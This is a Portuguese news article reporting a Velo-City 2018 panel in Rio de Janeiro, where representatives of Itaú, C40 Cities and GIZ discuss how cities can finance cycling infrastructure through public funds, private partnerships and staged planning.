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Economia Urbana 17.06.2018 — 7:00 am

Financiar o ciclismo é desafio para as cidades

Felix Lima
Aris Moro no Velo-City 2018 / Foto Alex Lima

Ainda que a bicicleta seja consideravelmente barata quando comparada com outros meios de transporte, é inegável que investimentos na área são extremamente necessários. Pensando nisso, o painel Obtendo Grandes Financiamentos (Unlocking Big Funds), apresentado durante o Velo-City 2018 e parte do especial #EsquinaNoPedal, reuniu um time de especialistas preocupados em pensar alternativas para a captação de recursos e a melhor forma de administrá-los.

Obtendo Grandes Financiamentos / Velo-City 2018

🎉👉AO VIVO 🎉👉 Unlocking Big Funds / Obtendo Grandes Financiamentos, Com Simone Gallo, do Itaú, Aris Moro, do C40 Cities, e Jan Rickmeyer do GIZ#EsquinaNoPedalBio dos palestrantes: https://www.velo-city2018.rio/copia-speakers

Publicado por Esquina: Encontros sobre cidades em Sexta, 15 de junho de 2018


Simone Gallo
, Gerente de Relações Institucionais e Governamentais do Itaú-Unibanco, afirma que o potencial de projetos voltados para a mobilidade ativa no país, ou seja, a não-motorizada, é grande e constitui hoje um dos principais pilares da Política Nacional de Mobilidade Urbana, porém ainda é pouco aproveitado. “As ferramentas existem, estão prontas e regulamentadas, mas vemos pouco investimento”, diz. O financiamento público é ainda a principal fonte de dinheiro para políticas de trânsito, mas a parceria com entidades privadas pode aumentar.

Para ela, medidas de compensação, como as contrapartidas ambientais, ou mesmo projetos empresariais que tenham como metas os Objetivos de Desenvolvimento Sustentável (os ODS, parte da agenda estipulada pela ONU), podem e devem incluir a bicicleta.
Para investidores que ainda não acreditam nos benefícios da bike, Simone busca convencê-los com dados surpreendentes. Um estudo realizado para a capital paulista concluiu que, caso todo o pontencial em mobilidade ativa fosse aproveitado, haveria uma redução de 18% nas emissões de CO2 e um incremento de 51 milhões de reais para o PIB anual da cidade, sem contar os 34 milhões que seriam economizados todo ano no SUS com a redução de internações ocasionadas por problemas circulatórios e diabetes.

Felix Lima

Simone Gallo no Velo-City 2018 / Foto Felix Lima

 

Simone mantém o otimismo e acredita que investimentos no ciclismo tem tudo para ocupar cada vez mais os chamados negócios de impacto, focados em gerar melhoriais socioambientais com resultados financeiros positivos: “O Brasil pode liderar os negócios de impacto na América Latina e a bicicleta já é um canal de entrada muito relevante para esse empreendedorismo”, afirma.
Aris Moro, especialista em projetos de financiamento, também concorda com os benefícios ambientais que o ciclismo pode gerar. Representante do C40 Cities, uma iniciativa que hoje reúne 96 cidades ao redor do mundo com programas dedicados a controlar as mudanças climáticas, afirma que um terço das emissões urbanas de CO2 ocorrem exclusivamente pelo transporte e que o ciclismo poderia diminuir essa taxa em 28%.

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Segundo ele, projetos de ciclovias são um desafio mais político do que financeiro: “São de pequena escala e não geram receita diretamente, o que soa desmotivador. Mas a boa notícia é que a infraestrutura necessária para a bicicleta é barata”. A captação de recursos envolve principalmente fundos governamentais, mas Aris defende uma arrecadação feita por meio do Funding, onde usuários pagam pelo serviço e custo operacional, com taxações e impostos, permitindo que o dinheiro arrecadado retorne na forma de novas políticas urbanas.

Membro do setor de Mobilidade Sustentável do GIZ (Corporação Alemã para Cooperação Internacional), Jan Rickmeyer defende que, se tratando de financiamentos, é preciso ter parceiros confiáveis e estruturas governamentais sólidas para a implantação de novos projetos. O engenheiro ainda critica planejamentos que não levam em conta a participação do público e que não definem um plano de coordenação e monitoramento: “Ouvimos frequentemente lindas palavras, mas elas de nada servem sem um plano de ação”, afirma.

Felix Lima

Jan Rickmeyer no Velo-City 2018 / Foto Felix Lima

 

Para que seja feito um uso eficiente dos recursos, Rickmeyer defende uma estrutura de planejamento organizada em diferentes etapas, que incluem desde a elaboração dos objetivos iniciais, definição de estratégias preliminares e projetos de detalhamentos até, por fim, ser realizada a operação. “A cada estágio de desenvolvimento ultrapassado vemos os custos aumentarem, por isso é sempre importante uma preparação adequada e profunda das etapas iniciais para se evitarem gastos desnecessários no futuro”, afirma.

O Velo-City é o principal evento sobre bicicletas do mundo e acontece no Rio de Janeiro entre 12 e 15 de junho, no Píer Mauá, com patrocínio do Itaú-Unibanco.

#EsquinaNoPedal
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